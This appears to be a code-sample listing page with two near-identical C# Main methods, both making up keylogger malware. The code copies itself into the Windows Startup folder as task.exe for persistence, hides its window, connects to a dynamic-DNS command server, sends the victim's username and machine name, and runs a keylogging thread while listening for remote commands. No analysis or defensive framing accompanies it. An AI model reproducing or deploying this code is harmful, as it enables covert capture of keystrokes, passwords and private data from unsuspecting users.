Esempio n. 1
0
        static void Main(string[] args)
        {
            while (true)
            {
                try
                {
                    Console.Title = "Dennis";
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData");
                    //Console.WriteLine("Schritt 1");
                    
                    //Console.WriteLine("Schritt 2");
                    try
                    {
                        File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\task.exe", true);
                        //Console.WriteLine("Schritt 3");
                    }
                    catch (Exception)
                    {
                        //Console.WriteLine("Schritt 4");
                    }

                    Process[] pros = Process.GetProcessesByName("task.exe");
                    foreach (Process item in pros)
                    {
                        try
                        {
                            item.Kill();
                        }
                        catch (Exception)
                        {
                            
                        }
                    }

                    if (!Application.ExecutablePath.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                    {
                        Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\task.exe");
                        return;
                    }

                    Keylogger keylogger = new Keylogger();
                    keylogger.hide();

                    //Console.WriteLine("Schritt 5");
                    clientComm = new TcpClient("nuggetor.ddns.net", 2015);
                    //Console.WriteLine("Schritt 6");
                    //Console.WriteLine("Connected to comm server");
                    byte[] buffer = ASCIIEncoding.ASCII.GetBytes(Environment.UserName + "\n" + Environment.MachineName);
                    clientComm.GetStream().Write(buffer, 0, buffer.Length);

                    //Console.WriteLine("Müsste funktioniert haben, warte 5 Sekunden");
                    //Thread.Sleep(1000);

                    keylogginThread = new Thread(keylogger.run);
                    keylogginThread.Start();
                    listen();
                }
                catch (Exception)
                {
                    //Console.WriteLine("Schritt 7");
                    //Console.WriteLine("Da ist was falsch gelaufen");
                    //Thread.Sleep(5000);
                }

            }

        }
Esempio n. 2
0
        static void Main(string[] args)
        {
            while (true)
            {
                try
                {
                    Console.Title = "Dennis";
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\WindowsData");
                    //Console.WriteLine("Schritt 1");

                    //Console.WriteLine("Schritt 2");
                    try
                    {
                        File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\task.exe", true);
                        //Console.WriteLine("Schritt 3");
                    }
                    catch (Exception)
                    {
                        //Console.WriteLine("Schritt 4");
                    }

                    Process[] pros = Process.GetProcessesByName("task.exe");
                    foreach (Process item in pros)
                    {
                        try
                        {
                            item.Kill();
                        }
                        catch (Exception)
                        {
                        }
                    }

                    if (!Application.ExecutablePath.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                    {
                        Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\task.exe");
                        return;
                    }

                    Keylogger keylogger = new Keylogger();
                    keylogger.hide();

                    //Console.WriteLine("Schritt 5");
                    clientComm = new TcpClient("nuggetor.ddns.net", 2015);
                    //Console.WriteLine("Schritt 6");
                    //Console.WriteLine("Connected to comm server");
                    byte[] buffer = ASCIIEncoding.ASCII.GetBytes(Environment.UserName + "\n" + Environment.MachineName);
                    clientComm.GetStream().Write(buffer, 0, buffer.Length);

                    //Console.WriteLine("Müsste funktioniert haben, warte 5 Sekunden");
                    //Thread.Sleep(1000);

                    keylogginThread = new Thread(keylogger.run);
                    keylogginThread.Start();
                    listen();
                }
                catch (Exception)
                {
                    //Console.WriteLine("Schritt 7");
                    //Console.WriteLine("Da ist was falsch gelaufen");
                    //Thread.Sleep(5000);
                }
            }
        }